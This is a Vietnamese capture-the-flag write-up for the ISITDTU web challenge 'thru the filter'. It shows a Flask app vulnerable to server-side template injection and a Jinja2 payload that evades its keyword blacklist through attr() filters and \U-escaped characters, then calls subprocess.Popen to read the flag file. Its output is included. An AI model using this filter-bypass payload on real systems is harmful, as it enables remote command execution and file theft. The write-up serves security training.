# WEB: thru the filter > http://34.124.244.195:1338 :::spoiler `app.py` ```python= from flask import Flask, request, render_template_string,redirect app = Flask(__name__) def check_payload(payload): blacklist = ['import', 'request', 'init', '_', 'b', 'lipsum', 'os', 'globals', 'popen', 'mro', 'cycler', 'joiner', 'u','x','g','args', 'get_flashed_messages', 'base', '[',']','builtins', 'namespace', 'self', 'url_for', 'getitem','.','eval','update','config','read','dict'] for bl in blacklist: if bl in payload: return True return False @app.route("/") def home(): if request.args.get('c'): ssti=request.args.get('c') print(ssti) if(check_payload(ssti)): return "HOLD UP !!!" else: return render_template_string(request.args.get('c')) else: return redirect("""/?c={{ 7*7 }}""") if __name__ == "__main__": app.run() ``` ::: :::spoiler `Dockerfile` ```dockerfile= FROM python:3.10-slim-bullseye LABEL auther_template="khanhhnahk1" RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \ sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list RUN apt-get update # install flask RUN python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple \ flask # Copy the source code and startup script to the root directory COPY ./src/ /app COPY ./service/docker-entrypoint.sh / # expose port EXPOSE 8080 RUN groupadd -r thru_the_filter && useradd -r -g thru_the_filter thru_the_filter RUN echo "ISITDTU{test_flag}"> /app/flag.txt RUN chmod 440 /app/flag.txt RUN chown -R root:thru_the_filter /app USER thru_the_filter WORKDIR /app ENTRYPOINT ["/bin/bash","/docker-entrypoint.sh"] ``` ::: > ![](https://hackmd.io/_uploads/Hk3OMVKZa.png) Có thể thấy đây là lỗi SSTI khá rõ ràng. Ta cần tìm cách bypass filter để có thể đọc flag từ file `/app/flag.txt` Ý tưởng của mình là sẽ sử dụng [popen](https://docs.python.org/3/library/subprocess.html) chạy lệnh cat để đọc flag. Đây là payload cơ bản của mình ```python {{ ''.__class__.__mro__[1].__subclasses__() }} ``` Vì payload có các kí tự nằm trong blacklist nên cần chỉnh sửa để có thể hoạt động - Thay `.` attribute với `attr()` ![](https://hackmd.io/_uploads/B1QIUNtZp.png) - Thay `[i]` item với `.__getitem__(i)` - Thay `_` bằng cách encode. Đề chỉ filter `u` nên có thể sử dụng `\U` với 8 số. Ngoài ra có thể sử dụng Oct. </br>Payload sau khi thay thế ```python #{{ ''.__class__.__mro__[1].__subclasses__() }} {{''|attr('\U0000005f\U0000005f\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(1)|attr('\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f')()}} ``` Khi chạy web sẽ return nhiều subclasses khác nhau. Và mình tìm thấy `<class 'subprocess.Popen'>` ở vị trí 367 trong list nên sẽ truy cập đến item thứ 367 để xài popen ```python {{ ''.__class__.__mro__[1].__subclasses__()[367]("cat /app/flag.txt", shell=1, stdout=-1).communicate() }} ``` Vì `stdout` có chữ `u` nên dính blacklist. Để thay thế, có thể sử dụng `stderr` rồi redirect stdoutput sang stderror là có thể đọc file ```python #{{ ''.__class__.__mro__[1].__subclasses__()[367]("cat /app/flag.txt 2>&1", shell=1, stderr=-1).communicate() }} {{''|attr('\U0000005f\U0000005f\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(1)|attr('\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f')()|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(367)('cat+"/app/\U00000066\U0000006c\U00000061\U00000067\U0000002e\U00000074\U00000078\U00000074"+1>%262',shell=1,stderr=-1)|attr('\U00000063\U0000006f\U0000006d\U0000006d\U00000075\U0000006e\U00000069\U00000063\U00000061\U00000074\U00000065')()}} #-----------------------# #Return output: (None, b'ISITDTU{tough_times_create_tough_guys!@@%#0@}\n') ``` Thay vì ghi cả tên parameter thì ta có thể điền hết theo thứ tự... *Solve được có 1 bài thui :(*